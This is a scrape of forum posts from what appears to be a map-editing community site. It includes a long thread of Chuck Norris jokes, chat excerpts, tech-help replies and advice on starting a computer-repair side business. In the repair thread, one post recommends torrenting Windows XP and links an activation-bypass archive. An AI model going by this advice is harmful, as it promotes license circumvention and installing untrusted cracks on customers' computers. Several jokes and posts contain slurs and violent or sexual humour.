I was wondering if u can tell me how to find theses games.

my email: zp2lyyh2ldw5hqk@jetable.net


Huh? Who is that and why does it look like his email address was randomly generated by a computer?


You got a point...


DUDE you would have to have been blind to not see that Havokk that just shows your moronism!

In by SolidKAYOS:
eDan Co. said:
joggy said:
Hi :)

I was wondering if u can tell me how to find theses games.

my email: zp2lyyh2ldw5hqk@jetable.net


Huh? Who is that and why does it look like his email address was randomly generated by a computer?


You got a point...

In by Crytax:
eDan Co. said:
joggy said:
Hi :)

I was wondering if u can tell me how to find theses games.

my email: zp2lyyh2ldw5hqk@jetable.net


Huh? Who is that and why does it look like his email address was randomly generated by a computer?


SHIT! He’s a Cylon! Run for your hills!

In by eDan Co.:
joggy said:
Hi :)

I was wondering if u can tell me how to find theses games.

my email: zp2lyyh2ldw5hqk@jetable.net


Huh? Who is that and why does it look like his email address was randomly generated by a computer?

In Hampie by SolidKAYOS:
Plz i hate having to go for posts that was made before i came out of my shell in superjer.Before i had my own computer for that matter.

In i dont have anything with beginning func_ by Pe$T_C0nTr0L:
but how do you know stuff , you help out a lot and you don't have hammer on your computer ? did you ever use it ?

In What Happend? by melloyellow582:
are you sure it wasnt your computer? it was fine for me.

In UPDATE AGAIN by xXJigsaw23Xx:
I HAVE TO WAIT TIL MY BROTHER GETS HOME SO I CAN PUT IT ON THE COMPUTER

In CHUCK NORRIS FACTS by xXJigsaw23Xx:
Chuck Norris uses Tabasco Sauce for eye drops.

Chuck Norris can get Blackjack with just one card.

"One time I was with Norris in the back of a pickup truck, along with a live deer. Norris goes up to the deer and says, 'I'm Chuck Norris! SAY IT!' Then he manipulates the deer's lips in such a way as to make it say, 'ChuckNorris' ... It wasn't exactly like it, but it was pretty good for a deer!'"

People created the automobile to escape from Chuck Norris...Not to be outdone, Chuck Norris created the automobile accident.

Chuck Norris roundhouse kicks people in the face first and asks questions later.

When Chuck Norris was born, the only person who cried was the doctor. Never slap Chuck Norris.

Chuck Norris can sneeze with his eyes open.

Archeologists in India recently uncovered a new dinosaur. It’s actually many dinosaurs but one is in the middle of all the others. The one in the middle is believed to have killed the others with a single roundhouse kick to the face. The archeologists wanted to call it ChuckNorrisaurs but the Indian government changed the name to Himotosaurous because it’s simply not possible for Mr. Norris to be killed.

Chuck Norris got a perfect score on his SAT's, simply by writing Chuck Norris for every answer.

Chuck Norris has to use a stunt double when he does crying scenes.

Chuck Norris successfully seperated twins conjoined at the head by roundkicking them in the face.

Dinosaurs went extinct because of the Chuck Norrisaurus.

People have often asked the United States, What is your secret weapon against terrorists? We simply reply...Chuck Norris

Chuck Norris wears Orion's Belt around his pinky toe and he eats with the Big Dipper.

Chuck Norris eats lightning and farts thunder.

Lightning never strikes twice in one place because Chuck Norris is looking for it.

Chuck Norris was once a knight in King Arthur's court. He was known as Sir Beatdown.

Chuck Norris once played rugby by himself. He went undefeated. Chuck Norris once played rugby by himself. He went undefeated.

In Desert Storm the reason why the Iraqi army surrendered so quickly because they knew Chuck Norris was coming.

Chuck Norris has never looked a baby in the eyes cause it might him cry but if he does it also makes him want to punch a baby.

Chuck norris doesnt go at the speed of light, he goes at the speed of Norris

Chuck Norris does not know about this website. If he did he would have just deleted the internet.

Before sliced bread, people used to say "Thats the greatest thing since Chuck Norris". But Chuck Norris was displeased by this. So he roundhouse kicked a loaf of bread into slices.

Chuck Norris's sweat has burned holes in concrete.

The wind of Chuck Norris’s round house kick can be felt from 1600 million miles away

Chuck Norris has held the World Championship in every weight class at the same time.

There is no Control button on Chuck Norris' computer. Chuck Norris is always in control.

Chuck Norris is so bad he makes viruses sick. As such, Chuck Norris is also responsible for the eradication of smallpox.

There are four legal methods of execution in the United States: lethal injection, gas chamber, electric chair and Chuck Norris.

Earth's emergency defence plan in case of alien invasion is Chuck Norris.

Chuck Norris stared evil in the face, and it backed down

Chuck Norris can split the atom. With his bare hands.

On the SAT if you put Chuck Norris for every answer you will score over 8000

The United States could save billions in defense funding if they trade the Military for Chuck Norris

When Chuck Norris spits out watermelon seeds, he puts a machine gun to shame

Chuck Norris doesnt use after shave, he uses liquid hot magma.

When Chuck norris found this web-site while surfing the internt, he round house kicked his computer...10 new facts were added instantly.including this one

You can lead a horse to water but cannot make him drink, unless you’re Chuck Norris

No matter what your mother always said, Chuck Norris can tune a fish.

Chuck Norris is '' The best a man can get ''

On Valentine's Day, Chuck Norris gives his wife the still beating heart of one of his enemies. Being very romantic, Chuck Norris believes every day should be Valentine's Day.

Scientists believe the world began with the "Big Bang". Chuck Norris shrugs it off as a "bad case of gas".

Chuck Norris let the dogs out.

Chuck Norris visits an active volcano every morning to get some of "the best damn espresso on Earth".

Chuck Norris eats eight meals a day. Seven are steak, and the last is the rest of the cow.

Chuck Norris does know what Willis is talking about!

Chuck Norris don't open no can of whoopass. He makes his own.

Chuck Norris could shoot someone and still have time to roundhouse kick him in the face before the bullet hit.

Chuck Norris's body temperature is 98.6 degrees... Celsius.

The world's fastest car has 7 gears. 5, 6, and Chuck Norris.

The active ingredient in Red Bull is Chuck Norris's sweat.

The Seven Wonders of the ancient world were: Chuck Norris' left and right hands, his left and right feet, his belly button, his liver, and his beard.

When Chuck Norris goes to Vegas, he doesn't have to gamble. The casinos just give him stacks of money.

In an emergency, Chuck Norris can be used as a floatation device.

When Chuck Norris is ready to wake up, he tells the sun to get the above the horizon.

The speed of light was instituted because Chuck Norris didn't want get winded outrunning it. Chuck Norris hates to sweat.

Chuck Norris once bench-pressed the entire state of Ohio, and all of its residents.

Chuck Norris can hold his breathe for nine years.

When somebody yells "Last one in is a rotten egg," Chuck Norris is never the rotten egg.

Chuck Norris invented the question mark.

Chuck Norris trick-or-treated as himself as a child.

Chuck Norris has 3 knees on each leg.

Chuck Norris likes long walks on the beach, Barry White music, Harlequin romance novels, songbirds, rainbows, and quiet time with his lady…just before he roundhouse kicks her in the face.

Chuck Norris can cook minute rice in 30 seconds.

If you gave Chuck Norris a typewriter and 0.000000000000000000001th of a second he can write the Complete Works of Shakespeare

Chuck Norris puts the laughter in manslaughter.

Chuck Norris' beard hair is believed to be an aphrodisiac in China.

The helicopter was invented after Chuck Norris was observed doing 8 roundhouse kicks a second.

Cars were invented to have a faster way of fleeing from Chuck Norris. Not to be outdone, Chuck Norris invented the car accident.

Chuck Norris brushes his teeth with barbed wire.

Chuck Norris can watch an episode of 60 minutes in 22 seconds.

Chuck Norris make onions CRY!!!

Some people say that Chuck Norris is a myth. Those "some people" are now dead.

When Chuck Norris sneeze, he don't say "Atchoo" he says "DIE EVERYONE!!!". That's what happens next.

Chuck Norris eats a bowl of diamonds every morning.

Chuck Norris is not only a noun, but a verb.

The word 'Kill' was invented by Chuck Norris. Other words were 'Die', 'Beer', and 'What'.

Chuck Norris is a vegetarian. Meaning, he does not eat animals until first he puts them into vegetative state with his fists.

The 11th commandment is “Thou shalt not piss off Chuck Norris” This commandment is rarely enforced, as it is impossible to accomplish.

Chuck Norris is his own line at the DMV.

Two wrongs don't make a right. Unless you're Chuck Norris. Then two wrongs make a roundhouse kick to the face.

Who let the dogs out? Chuck Norris let the dogs out... and then roundhouse kicked them through an Oldsmobile.

Chuck Norris can do a roundhouse kick faster than the speed of light. This means that if you turn on a light switch, you will be dead before the lightbulb turns on.

When Chuck Norris goes to out to eat, he orders a whole chicken, but he only eats its soul.

Chuck Norris sold his soul to the devil for his rugged good looks and unparalleled martial arts ability. Shortly after the transaction was finalized, Chuck roundhouse-kicked the devil in the face and took his soul back. The devil, who appreciates irony, couldn't stay mad and admitted he should have seen it coming. They now play poker every second Wednesday of the month.

Chuck Norris has never won an Academy Award for acting... because he's not acting.

If Chuck Norris wants your opinion, he'll beat it into you.

Not everyone that Chuck Norris is mad at gets killed. Some get away. They are called astronauts.

Chuck Norris has to register every part of his body as a separate lethal weapon. His spleen is considered a concealed weapon in over 50 states.

A movie scene depicting Chuck Norris losing a fight with Bruce Lee was the product of history's most expensive visual effect. When adjusted for inflation, the effect cost more than the Gross National Product of Paraguay.

Godzilla is a Japanese rendition of Chuck Norris' first visit to Tokyo.

They once made a Chuck Norris toilet paper, but there was a problem-- It wouldn't take shit from anybody.

Chuck Norris once rode a nine foot grizzly bear through an automatic car wash, instead of taking a shower.

"Sweating bullets" is literally what happens when Chuck Norris gets too hot.

Chuck Norris' sperm can be seen with the naked eye. Each one is the size of a quarter.

After taking a steroids test doctors informed Chuck Norris that he had tested positive. He laughed upon receiving this information, and said "of course my urine tested positive, what do you think they make steroids from?"

Chuck Norris doesn't daydream. He's too busy giving other people nightmares.

When Arnold says the line "I'll be back" in the first Terminator movie it is implied that is he going to ask Chuck Norris for help.

There are no such things as tornados. Chuck Norris just hates trailer parks.

Chuck Norris does not follow fashion trends, they follow him. But then he turns around and kicks their ass. Nobody follows Chuck Norris.

The phrase 'break a leg' was originally coined by Chuck Norris's co-stars in Walker, Texas Ranger as a good luck charm indicating that a broken leg might be the worst extent of their injuries. This never proved to be the case.

Chuck Norris’ roundhouse kick is so powerful, it can be seen from outer space by the naked eye.

Diamonds are not, despite popular belief, carbon. They are, in fact, Chuck Norris fecal matter. This was proven a recently, when scientific analysis revealed what appeared to be Jean-Claude Van Damme bone fragments inside the Hope Diamond.

Chuck Norris once participated in the running of the bulls. He walked.

The Drummer for Def Leppard's only got one arm. Chuck Norris needed a back scratcher.

Chuck Norris was the orginal sculptor of Mount Rushmore. He completed the entire project using only a bottle opener and a drywall trowel.

Chuck Norris once rode a bull, and nine months later it had a calf.

Chuck Norris once lost the remote, but maintained control of the TV by yelling at it in between bites of his "Filet of Child" sandwich.

For Spring Break '05, Chuck Norris drove to Madagascar, riding a chariot pulled by two electric eels.

The Manhattan Project was not intended to create nuclear weapons, it was meant to recreate the destructive power in a Chuck Norris Roundhouse Kick. They didn't even come close.

Chuck Norris has banned rainbows from the state of North Dakota.

Divide Chuck Norris by zero and you will in fact get one........one bad-ass that is.

TNT was originally developed by Chuck Norris to cure indigestion.

After returning from World War 2 unscathed, Bob Dole was congratulated by Chuck Norris with a handshake. The rest is history.

Chuck Norris runs on batteries. Specifically, Die Hards.

"Let the Bodies Hit the Floor" was originally written as Chuck Norris' theme song.

Chuck Norris will never have a heart attack. His heart isn't nearly foolish enough to attack him.

Only Chuck Norris can prevent forest fires.

When Chuck Norris makes a burrito, its main ingredient is real toes.

Chuck Norris is not Irish. His hair is soaked in the blood of his victims.

In the movie "The Matrix", Chuck Norris is the Matrix. If you pay close attention in the green "falling code" scenes, you can make out the faint texture of his beard.

They say curiosity killed the cat. This is false. Chuck Norris killed the cat. Every single one of them.

There is no such thing as a lesbian, just a woman who has never met Chuck Norris.

Chuck Norris crossed the road. No one has ever dared question his motives.

One time, at band camp, Chuck Norris ate a percussionist.

Chuck Norris doesn't say "who's your daddy", because he knows the answer.

Chuck Norris originally wrote the first dictionary. The definition for each word is as follows - A swift roundhouse kick to the face.

Love does not hurt. Chuck Norris does.

The term "Cleveland Steamer" got its name from Chuck Norris, when he took a dump while visiting the Rock and Roll Hall of fame and buried northern Ohio under a glacier of fecal matter.

Chuck Norris once round-house kicked a salesman. Over the phone.

The pen is mighter than the sword, but only if the pen is held by Chuck Norris.

Noah was the only man notified before Chuck Norris relieved himself in the Atlantic Ocean.

Chuck Norris once invited all of the other badasses from TV to duke it out in order to see who was the supreme badass. Only two showed up-- Jack Bauer and MacGyver.

MacGyver immediately tried to make a bomb out of some Q-Tips and Gatorade, but Chuck Norris roundhouse-kicked him in the solar plexus. MacGyver promptly threw up his own heart.

Jack Bauer tried to use his detailed knowledge of torture techniques, but to no avail: Chuck Norris thrives on pain. Chuck Norris then ripped off Jack Bauer's arm and beat him to death with it. Game, set, match.

Chuck Norris eats steak for every single meal. Most times he forgets to kill the cow.

The First Law of Thermodynamics states that energy can neither be created nor destroyed... unless it meets Chuck Norris.

Chuck Norris doesn't go on the internet, he has every internet site stored in his memory. He refreshes webpages by blinking.

It is said that looking into Chuck Norris' eyes will reveal your future. Unfortunately, everybody's future is always the same: death by a roundhouse-kick to the face.

Chuck Norris knows everything there is to know - Except for the definition of mercy.

Scientifically speaking, it is impossible to charge Chuck Norris with "obstruction of justice." This is because even Chuck Norris cannot be in two places at the same time.

Chuck Norris never has to wax his skis because they're always slick with blood.

When you say "no one's perfect", Chuck Norris takes this as a personal insult.

Chuck Norris can win a game of Trivial Pursuit with one roll of the dice, and without answering a single question... just a nod of the head, and a stroke of the beard.

182,000 Americans die from Chuck Norris-related accidents every year.

Paper beats rock, rock beats scissors, and scissors beats paper, but Chuck Norris beats all 3 at the same time.

All roads lead to Chuck Norris. And by the transitive property, a roundhouse kick to the face.

If you're driving down the road and you think Chuck Norris just cut you off, you better thank your lucky stars it wasn't the other way around.

July 4th is Independence day. And the day Chuck Norris was born. Coincidence? i think not.

Chuck Norris never goes to the dentist because his teeth are unbreakable. His enemies never go to the dentist because they have no teeth.

In the medical community, death is referred to as "Chuck Norris Disease"

Chuck Norris was once in a knife fight, and the knife lost.

If you work in an office with Chuck Norris, don't ask him for his three-hole-punch.

In the Words of Julius Caesar, "Veni, Vidi, Vici, Chuck Norris". Translation: I came, I saw, and I was roundhouse-kicked inthe face by Chuck Norris.

The First rule of Chuck Norris is: you do not talk about Chuck Norris.

Chuck Norris is widely predicted to be first black president. If you're thinking to yourself, "But Chuck Norris isn't black", then you are dead wrong. And stop being a racist.

When Chuck Norris plays Monopoly, it affects the actual world economy.

Chuck Norris can be unlocked on the hardest level of Tekken. But only Chuck Norris is skilled enough to unlock himself. Then he roundhouse kicks the Playstation back to Japan.

Chuck Norris drinks napalm to quell his heartburn.

Every time someone uses the word "intense", Chuck Norris always replies "you know what else is intense?" followed by a roundhouse kick to the face.

As an infant, Chuck Norris' parents gave him a toy hammer. He gave the world Stonehenge.

Chuck Norris once ordered a steak in a restaurant. The steak did what it was told.

Most people fear the Reaper. Chuck Norris considers him "a promising Rookie".

There are only two things that can cut diamonds: other diamonds, and Chuck Norris.

President Roosevelt once rode his horse 100 miles. Chuck Norris carried his the same distance in half the time.

Chuck Norris once ate four 30lb bowling balls without chewing.

Chuck Norris was banned from competitive bullriding after a 1992 exhibition in San Antonio, when he rode the bull 1,346 miles from Texas to Milwaukee Wisconsin to pick up his dry cleaning.

Chuck Norris qualified with a top speed of 324 mph at the Daytona 500, without a car.

Chuck Norris likes his coffee half and half: half coffee grounds, half wood-grain alcohol.

Chuck Norris uses tabasco sauce instead of visine.

The chemical formula for the highly toxic cyanide ion is CN-. These are also Chuck Norris' initials. This is not a coincidence.

Chuck Norris' credit cards have no limit. Last weekend, he maxed them out.

A man once claimed Chuck Norris kicked his ass twice, but it was promptly dismissed as false - no one could survive it the first time.

Chuck Norris sleeps with a pillow under his gun.

Chuck Norris owns a chain of fast-food restaurants throughout the southwest. They serve nothing but barbecue-flavored ice cream and Hot Pockets.

Chuck Norris doesn't chew gum. Chuck Norris chews tin foil.

Aliens DO indeed exist. They just know better than to visit a planet that Chuck Norris is on.

When in a bar, you can order a drink called a "Chuck Norris". It is also known as a "Bloody Mary", if your name happens to be Mary.

Every time Chuck Norris smiles, someone dies. Unless he smiles while he’s roundhouse kicking someone in the face. Then two people die.

Some people ask for a Kleenex when they sneeze, Chuck Norris asks for a body bag.

There’s an order to the universe: space, time, Chuck Norris.... Just kidding, Chuck Norris is first.

A man once asked Chuck Norris if his real name is "Charles". Chuck Norris did not respond, he simply stared at him until he exploded.

Chuck Norris starts everyday with a protein shake made from Carnation Instant Breakfast, one dozen eggs, pure Colombian cocaine, and rattlesnake venom. He injects it directly into his neck with a syringe.

In a tagteam match, Chuck Norris was teamed with Hulk Hogan against King Kong Bundy and Andre The Giant. He pinned all 3 at the same time.

Chuck Norris doesn't see dead people. He makes people dead.

Chuck Norris is the only person who can simultaneously hold and fire FIVE Uzis: One in each hand, one in each foot -- and the 5th one he roundhouse-kicks into the air, so that it sprays bullets.

For undercover police work, Chuck Norris pins his badge underneath his shirt, directly into his chest.

In the X-Men movies, none of the X-Men super-powers are done with special effects. Chuck Norris is the stuntman for every character.

We live in an expanding universe. All of it is trying to get away from Chuck Norris.

Chuck Norris is responsible for China's over-population. He hosted a Karate tournament in Beijing and all women within 1,000 miles became pregnant instantly.

Some people wear Superman pajamas. Superman wears Chuck Norris pajamas.

Chuck Norris once worked as a weatherman for the San Diego evening news. Every night he would make the same forecast: Partly cloudy with a 75% chance of Pain.

Simply by pulling on both ends, Chuck Norris can stretch diamonds back into coal.

When Chuck Norris does a pushup, he isn't lifting himself up, he's pushing the Earth down.

Chuck Norris invented the bolt-action rifle, liquor, sexual intercourse, and football-- in that order.

A high tide means Chuck Norris is flying over your coast. The tide is caused by God pissing his pants.

Chuck Norris keeps his friends close and his enemies closer. Close enough to drop them with one round house kick to the face.

There is in fact an “I” in Norris, but there is no “team”… not even close.

Scotty in Star Trek often says “Ye cannae change the laws of physics.” This is untrue. Chuck Norris can change the laws of physics. With his fists.

Chuck Norris doesn't stub his toes. He accidentally destroys chairs, bedframes, and sidewalks.

Using his trademark roundhouse kick, Chuck Norris once made a fieldgoal in RJ Stadium in Tampa Bay from the 50 yard line of Qualcomm stadium in San Diego.

Chuck Norris roundhouse kicks don't really kill people. They wipe out their entire existence from the space-time continuum.

Chuck Norris does not own a stove, oven, or microwave , because revenge is a dish best served cold.

Tom Clancy has to pay royalties to Chuck Norris because "The Sum of All Fears" is the name of Chuck Norris' autobiography.

Chuck Norris can slam a revolving door.

Chuck Norris is expected to win gold in every swimming competition at the 2008 Beijing Olympics, even though Chuck Norris does not swim. This is because when Chuck Norris enters the water, the water gets out of his way and Chuck Norris simply walks across the pool floor.

Chuck Norris built a better mousetrap, but the world was too frightened to beat a path to his door.

The original draft of The Lord of the Rings featured Chuck Norris instead of Frodo Baggins. It was only 5 pages long, as Chuck roundhouse-kicked Sauron’s ass halfway through the first chapter.

Hellen Keller's favorite color is Chuck Norris.

Chuck Norris eats beef jerky and craps gunpowder. Then, he uses that gunpowder to make a bullet, which he uses to kill a cow and make more beef jerky. Some people refer to this as the "Circle of Life."

If, by some incredible space-time paradox, Chuck Norris would ever fight himself, he'd win. Period.

Chuck Norris is currently suing myspace for taking the name of what he calls everything around you.

The crossing lights in Chuck Norris's home town say "Die slowly" and "die quickly". They each have a picture of Chuck Norris punching or kicking a pedestrian.

Science Fact: Roundhouse kicks are comprised primarily of an element called Chucktanium.

The Sherman tank was originaly called the Norris tank until Chuck Norris decided it wasn't tough enough to be associated with him. The Army, for fear of Chuck Norris, renamed the tank and promised to develop a weapon more fitting of his name. To date, no weapon created has been badass enough to be named after Chuck Norris.

Chuck Norris proved that we are alone in the universe. We weren't before his first space expedition.

Superman once watched an episode of Walker, Texas Ranger. He then cried himself to sleep.

Chuck Norris doesn't step on toes. Chuck Norris steps on necks.

The movie "Delta Force" was extremely hard to make because Chuck had to downplay his abilities. The first few cuts were completely unbelievable.

Movie trivia: The movie "Invasion U.S.A." is, in fact, a documentary.

Chuck Norris does not "style" his hair. It lays perfectly in place out of sheer terror.

There is no such thing as global warming. Chuck Norris was cold, so he turned the sun up.

A study showed the leading causes of death in the United States are: 1. Heart disease, 2. Chuck Norris, 3. Cancer

It's widely believed that Jesus was Chuck Norris' stunt double for crucifixion due to the fact that it is impossible for nails to pierce Chuck Norris' skin.

Chuck Norris did in fact, build Rome in a day.

Along with his black belt, Chuck Norris often chooses to wear brown shoes. No one has DARED call him on it. Ever.

Anytime someone is elected president in the United States, they must ask permission from Chuck Norris to live in the White House. The reason for this is because Chuck Norris had won every Federal, State, and Local election since 1777. He just allows others to run the country in his place.

Once you go Norris, you are physically unable to go back.

Ninjas want to grow up to be just like Chuck Norris. But usually they grow up just to be killed by Chuck Norris.

Chuck Norris once sued Burger King after they refused to put razor wire in his Whopper Jr, insisting that that actually is "his" way.

The last thing you hear before Chuck Norris gives you a roundhouse kick? No one knows because dead men tell no tales.

Chuck Norris doesn't play god. Playing is for children.

Chuck Norris is the only person in the world that can actually email a roundhouse kick.

Chuck Norris won super bowls VII and VIII singlehandedly before unexpectedly retiring to pursue a career in ass-kicking.

Wo hu cang long. The translation from Mandarin Chinese reads: "Crouching Chuck, Hidden Norris"

Chuck Norris can set ants on fire with a magnifying glass. At night.

Some kids play Kick the can. Chuck Norris played Kick the keg.

'Icy-Hot' is too weak for Chuck Norris. After a workout, Chuck Norris rubs his muscles down with liquid-hot MAGMA.

Chuck Norris cannot love, he can only not kill.

When Chuck Norris was a baby, he didn't suck his mother's breast. His mother served him whiskey, straight out of the bottle.

According to Einstein's theory of relativity, Chuck Norris can actually roundhouse kick you yesterday.

Chuck Norris once pulled out a single hair from his beard and skewered three men through the heart with it.

In an act of great philanthropy, Chuck made a generous donation to the American Cancer Society. He donated 6,000 dead bodies for scientific research.

Chuck Norris’ favourite cut of meat is the roundhouse.

When J. Robert Oppenheimer said "I am become death, the destroyer Of worlds", He was not referring to the atomic bomb. He was referring to the Chuck Norris halloween costume he was wearing.

Chuck Norris recently had the idea to sell his urine as a canned beverage. We know this beverage as Red Bull.

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??????? How?I'm been fucking serious.All i know is porn and games.Im not a big computer nerd.I'm not joking

In Brain Storm by begginer:
yeah thats my main problem i ate my scanner , and i don't have a camera ( only a mobile but it takes really sucky pictures )

well the only single image is an old stencil i made .. ( on the computer ) Here
but my hand drawings are generally much better

In CHUCK NORRIS FACTS by eDan Co.:
Kids pee their names in snow, Chuck Norris pees his name in concrete.

Chuck Norris had an arm wrestle with Superman. The loser had to wear his underpants over his pants.

The original name for the bible was 'Chuck Norris And Friends'.

Chuck Norris can kill 2 stones with 1 bird.

If you have 5$ and Chuck Norris has 5$, Chuck has more money than you.

There is no Ctrl button on Chuck Norris' computer. Chuck Norris is always in control.

Chuck Norris can divide by zero.

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Gleißen Chat™13:03:28 UTCeDan Co. said:
oh, ok
13:03:34 UTCeDan Co. said:
wtf is seina?
13:03:37 UTCCornJer said:
Yes. Seina
13:04:11 UTCCornJer said:
I'll show you
13:04:29 UTCeDan Co. said:
please do
13:05:02 UTCCornJer said:
http://youtube.com/watch?v=1xiRZlDmbgM&feature=related
13:06:21 UTCeDan Co. said:
so its a song
13:06:32 UTCeDan Co. said:
?
13:06:36 UTCCornJer said:
yes
13:06:56 UTCeDan Co. said:
Sung by an angry person
13:07:14 UTCeDan Co. said:
Ok. Seina, then.
13:09:32 UTCCornJer said:
Dpm
13:09:41 UTCCornJer said:
Don't dis turmion.
13:10:05 UTCCornJer said:
by the way, in case dpm means some kind of netspeak, its a mistake.
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In Map Isn't Loading by Killer-Duck:
It hasn't stopped, it just take some time to compile. Just let your computer be while its compiling and come back after a few minutes.

In Adobe flash player by Down Rodeo:
Add/Remove programs. I'm a GNU/Linux user ^^

That and there are bits of me uncomfortable with that sort of downloading. Mainly those bits that broke my old computer.

Besides I've not got a whole lot to download.

In by Tin Can Man:
alright that seems to be the problem thanks but i dont know where my hammer/fgd/counter-strike folder is, i cant find it, its in my computer somewhere but i dont know where

In woah wtF by eDan Co.:
No. It doesn't work... I know what he's going through, but on my computer it resets every time I open Hammer. There are no "4 views" to resize, you only have one view.
I reached your situation by clicking the "Load Window State", and the I could not fix it without restarting Hammer.

In Help..... by eDan Co.:
No, EMO... He's an idiot flooding the forum with McDiddys questions.
Just wait for AaronJer to delete his user, ban his IP, and burn his computer.

In Map Ideas by Down Rodeo:
LPNA is not real maths. It's computer maths. It upsets me that I have to do it.

The other maths I did wasn't so bad. All in all I have covered:
Matrices, complex numbers, differentiation, integration, vectors & 3D geometry, differential equations (linear, first and second order), some basic methods of proof, convergence of sequences and series both geometric and arithmetic, moduli, congruence and some stuff on group theory that was really interesting but I can't remember.

I'm sure there's a bit more... Bearing in mind this is like the last 2-3 years of maths. Not one semester or anything silly.

In How do you get over someone who hates you? by aaronjer:
You people are retarded. The answer to this question is very simple:

Wait.

That's all you can do. Unless you are obsessive and weird you will eventually not care anymore. For me it takes an average of about 2-3 days, but I'm a freaking asshole, so it'd probably take about 30 times longer for a normal person.

I actually avoid girls like the plague! They eat away at your time/money/real friendships like some kind of super-locust. I've learned my lesson and make sure I at least don't even know their last name if I'm gonna get nekkid with 'em. My personal security measures actually go much further than that. I tend to not even look at or talk to girls at all, because I really, REALLY don't want to end up in a relationship ever again. I love my computer more than I could ever love a girl, but once those darn pheromones and instincts kick in my judgment clouds...

In by d318eater:
Hello, I'm just started using hammer and made some maps, but recently, after compiling a map, my computer jammed when I try to load it(when I started cs).I don't know what the problem, so please help me....
(sorry for my bad grammar)

In 3D view is messed up! by EMO_with_AWP:
I have a ATI RADEON EXPRESS 200M graphics card. But all i see on the graphics card list for my computer is REDEAON X300M, X500M+..

Should i get the 300M one? That's the closest one i can find..

I have Media Center Edition > Radeon > Now i need to know what to click on here.. ATI RADEON EXPRESS 200M graphics card!

In 3D view is messed up! by eDan Co.:
DJchul3l3y is an idiot.

Right-click My Computer-> Properties-> Hardware-> Device manager.

That should open a list of all the devices your computer has installed.

In Hmm... I need a job. by aaronjer:
CornJer said:
So I could easily charge 45 bucks a fix, and people would still hire? Hot damn! Easy money right there. One question though: I have a CD from gateway which formats the hard drive and reinstalls XP. Would that work on other computers as well? I think it worked on my old ass sony, but I stopped before it fully loaded cause someone said they needed to get stuff off the computer, and it would have formatted the whole drive.


I just wrote a really long post about many things involving fixing computers, but it just got deleted for no reason so here's the short version.

No. Wrong. Download a default OEM copy of windows XP Home and Pro from a torrent (make SURE it already has SP2, big timer saver). Use this if the activation bitches at you and won't work right.

http://superjer.com/atojer/wpakill.rar

The activation bitches with perfectly legit copies of Windows XP so you will need it a lot. It's just broken. DO NOT CALL MICROSOFT TO ACTIVATE. Big mistake.

Here's a few more quick pointers:

1. Do not work with Vista. Ever. Still make sure you know the locations of things like the control panel and network settings for the day when Vista stops having "BSOD for no reason" type problems and can actually be reliably fixed.

2. Do not install using a pirated key even if they ask you to. No FCKGWs for you.

3. If they have an OS older then Windows XP suggest an upgrade and warn them of the dangers of using older OSs (viruses, security, compatibility.) Only reinstall an old OS if they ask you to.

4. Only suggest a free copy of Linux if their OS cannot be reinstalled and they don't want to buy XP. This will only happen if they lost their key or were using a pirated copy of XP.

5. Tell them how to use an operating system if they switch.

6. Make sure to save all of their information. This commonly includes the painstaking process of backing up all of their shitty Outlook information. Not fun, but that'll make 'em mad if you wiped their address book.

I had some very detailed explanations of many things before. But, oh well.



In Hmm... I need a job. by CornJer:
So I could easily charge 45 bucks a fix, and people would still hire? Hot damn! Easy money right there. One question though: I have a CD from gateway which formats the hard drive and reinstalls XP. Would that work on other computers as well? I think it worked on my old ass sony, but I stopped before it fully loaded cause someone said they needed to get stuff off the computer, and it would have formatted the whole drive.

I'm assuming that a phone book entry would work well too?

How much does it cost for a classified entry or a phone book entry?

In Hmm... I need a job. by aaronjer:
I agree with SuperJer completely. Except that big companies charge like $75 and hour, so you can even get away with charging like $35-40 an hour and people will still think it's cheap. You do miss out on all the really poor customers though, who would only get their computer fixed if it was going to be like $50.

Here's another hint. Most people have the same problem with their computers. That their computer is a virus-laden, unprotected and poorly set-up piece of shit. This means the remedy for most people is to copy their important information onto a flash drive and format their computer. Make sure they have an OS disc or a CD-Key for one before doing this... you can use an OEM copy of Windows XP in most cases as long as they have a legit key. Also take note of drivers and such, it's best to get the model and manufacturer of their computer (easy to get them to read the number on the front on the phone) before you even show up so that you end up finding out that the drivers are unavailable after you format. This is assuming that they have a computer made by Dell or something, but everyone with computer problems does.

Then all ya gotta do is reinstall (windows can take 4 hours to install on it's own for a shitty computer... try not to factor all of that into the price since you aren't doing anything, I've even left to do another job while it was formatting before.) everything, slap on a replacement for their crappy Norton like Spybot and of COURSE make sure windows is fully updated/set up to receive updates.

You still get other more basic problems, like "My text size in IE changed! HALP!" or the venerable "How the crap do you set up a router?!"

Try to make sure you know how to do all of these things, but even if you don't and can figure it out while you're there, just don't charge them for the time you spent learning things.

I should also mention that people tend to listen to what you say, most people know NOTHING about computers and for some unknown reason try their best to keep it that way. This means you get free reign of suggestions on them, and as long as you always get them to "OK" everything (which most people do automatically because you're the computer guy) you can change their system to whatever would actually be best for them. I should warn you though, trying to switch people to Linux typically has very bad results.

In Hmm... I need a job. by SuperJer:
A classified ad in the paper is good if you can afford it.

Word of mouth is huge, too. Give what little customers you have a biz card and they will refer their friends. Everyone has friends with computer problems.

For pricing (if you are good) offer your services for $50-$100 or FREE if you can't fix it. A lot of people get turned off other companies because they'll charge you for time even if they don't fix anything.

I used to do this too, and people were always really happy to hear "no pay if no fix" and when I did fix it (always) they'd usually offer to pay extra because they're so happy.

In Hmm... I need a job. by CornJer:
I was applying for geek squad, untill I realized that I absolutely hate working for the man. I like BEING the man much better.

So what I was thinking, was that I would kinda do the same thing aaronjer was doing, start a computer fix-it thing, put my cell in the phone book and on craigslist (whatever that is) and what not, and go around fixing computers for about 25 bucks a pop. Just as a summer "job".

It seems like a good idea to me, but I'd like some input on this, like what price, what other ways do I advertise, etc. Just so that I could figure out how to do this.

In A weird error i do not understand :( by Down Rodeo:
If you feel confident enough to change the size of your swap then do so. Just a warning though, it is an operation which could do nasty things to your computer should you not be careful about what you're doing. 340 MB of RAM isn't really enough, I think.

When I say change the size, I mean increase.

In ball possible? by eDan Co.:
You can make an infinite amount of congruent pyramids, where all thier apexes are at the same spot, and their bases are touching. You will end up with a sphere-like-something.

The smaller the triangles = the more it'll look like a sphere = the longer it will take to compile = crashed computer. Take that into acount...

In A weird error i do not understand :( by EMO_with_AWP:
Description: The program failed to allocate a block of memory. Likely causes are (in order of likeliness) :

* do not compile thru WC/Hammer F9 "running" - this hogs RAM. Instead use a front end or batch file to organize your compiling;
* the partition holding the swapfile is full (clean out your hard drive, empty trash, clear out unused files, purge your temp files folders and internet browsers temp files.);
* swapfile size is smaller than required (let swapfile be dynamicly allocated, do not set it too small yourself.);
